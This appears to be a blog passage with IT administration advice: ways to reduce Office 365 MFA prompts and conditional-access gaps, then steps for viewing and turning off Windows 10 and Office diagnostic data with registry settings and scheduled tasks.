    This loophole was fixed for Exchange Online with the New-clientaccessrule. To learn more about it, watch Jeff Kizner’s 2017 Ignite presentation (here) starting at 7:35 through 15:55. In a nutshell, conditional access provides an authentication token if you meet the requirements at the time the token is issued. If the user roams outside the network, the token is not immediately invalidated. Exchange Online has the ability to re-check the IP address location with every packet, to avoid roaming to unauthorized network locations. It would be great if the other services like SharePoint had this but as far as I am aware they do not.
    For workloads outside of Exchange Online, Microsoft has added Continuous Access Evaluation (CAE).
    This is off by default and also requires updates in the Office client to work.

  • MFA is just too much of a user impact for us to deploy.

    I can sympathize with this sentiment: your IT department is stretched thin and you just can’t gamble with impacting productivity. Just remember this: nobody is going to thank you for reducing user impact when there is a ransomware outbreak that causes a complete work stoppage for days or weeks, or results in having to pay a massive $230 million dollar GDPR fine. Here are four things you can do to reduce the burden of the MFA rollout.

    • Avoid MFA prompts when the PC is domain joined devices (read my blog about this here)
    • Avoid MFA prompts when the mobile device or Mac OSX is managed by Intune
    • Avoid MFA prompts when the user is indie the corporate network
    • Avoid passwords and use the MFA Authenticator app for authentication ( with one important caveat here <- don’t enable passwordless auth if you use the ‘require compliant device checkbox’ )
    • Avoid MFA prompts when connecting from a device that has previously authenticated with MFA at least once (aka Trusted Device)

      If you do any of the above (or all of them), users would only be prompted for MFA when outside the network on a personal device that they haven’t used in the last 60 days! That should reduce the helpdesk calls!

Other Tips:

  • You can now change the frequency of how often users get prompted for MFA! For example, internal users can see the MFA prompt never (see #12 above) or every 1 week, whereas external users can see the MFA prompt every 12 hours.
  • Enable the new Combined Registration experience so that when users register for MFA, they also register for self-service password reset at the same time. Bonus: by enabling the new combined registration experience, you are one step closer to using FIDO2 tokens (the new combined registration is a pre-requisite). Read more here.
  • You can extend your MFA to also protect on-premises workloads like VPN. Read more (here)
I hope this helps! If you need help securing your Office 365 Environment, contact us at [email protected]

How to disable diagnostic data from being sent to Microsoft in Windows 10 and Office

I have never put much thought into disabling diagnostic data from being sent to Microsoft, because I’ve always given them the benefit of the doubt that they benefit from using this data to identify faulty drivers and things that cause reliability issues in Windows. However, according to Microsoft, this data may contain “personal data” as defined by Article 4 of the European GDPR (more on that below) and therefore our friends in Europe have asked for guidance on how to disable this diagnostic data from being sent to Microsoft.

If you want to see what type of information is being sent to Microsoft, Windows 10 now includes the ability to view the diagnostic data by downloading a tool called the Diagnostic Data Viewer.

Step 1. Enable the Viewing of Diagnostic Data in Windows 10 (full documentation is here)

Step 2. Download the Diagnostic Data Viewer tool from the Microsoft App Store

Step 3. Launch the tool to review the diagnostic data that was sent to Microsoft.

According to this Microsoft Support article (here)

“Diagnostic data may contain “personal data” as defined by Article 4 of the European GDPR, but it does not contain your name, your email address, or any content from your files. All diagnostic data Microsoft collects during the use of Office applications and services is pseudonymized, as defined in ISO/IEC 19944:2017, section 8.3.3.

According to this Microsoft article (here) this is what the basic data is:

We use Basic diagnostic data to keep Windows devices up to date. Microsoft uses:

  • Basic error information to help determine whether problems your device is experiencing can be addressed by the update process.
  • Information about your device, its settings and capabilities, including applications and drivers installed on your device, to ascertain whether your device is ready for and compatible with the next operating system or app release and ready for update.
  • Logging information from the update process itself to understand how well your device’s updates are proceeding through the stages of downloading, pre-installation, post-installation, post-reboot, and setup.
  • Data about the performance of updates on all Windows devices to assess the success of an update’s deployment and to learn device characteristics (e.g., hardware, peripherals, settings, and applications) that are associated with the success or failure of an update.
  • Data about which devices have had upgrade failures and why to determine whether to offer the same upgrade again


However, if you want to block the transmission of this diagnostic data, on a per machine basis you can go into Windows 10 and change the default ‘enhanced’ to ‘basic’


To disable this on all machines, deploy the following registry key:


Create a new a 32-bit DWORD value named AllowTelemetry and set it to 0

Windows 10 build 1511 and newer disable these two services:

Connected User Experiences and Telemetry

Then restart the computer.


Now as it relates to Office, you need to go into the settings of the Diagnostic Viewer and enable the Office data viewer toggle as shown here:

For Office 365 ProPlus, Microsoft documents the diagnostic information sent to Microsoft (here)

You can manually turn this off on a per user basis as shown below, or you can disable it for all users using the website also as shown below.

Office 365 ProPlus Manual Configuration

File Account > and under Account Privacy select Manage Settings.


Office 365 ProPlus Configuration for all machines (use as shown below)




And for Windows 7, the July 9th 2019 security patch added telemetry. Disable or delete these scheduled tasks after the security patch installation but before rebooting the computer.

\Microsoft\Windows\Application Experience\ProgramDataUpdater
\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
\Microsoft\Windows\Application Experience\AitAgent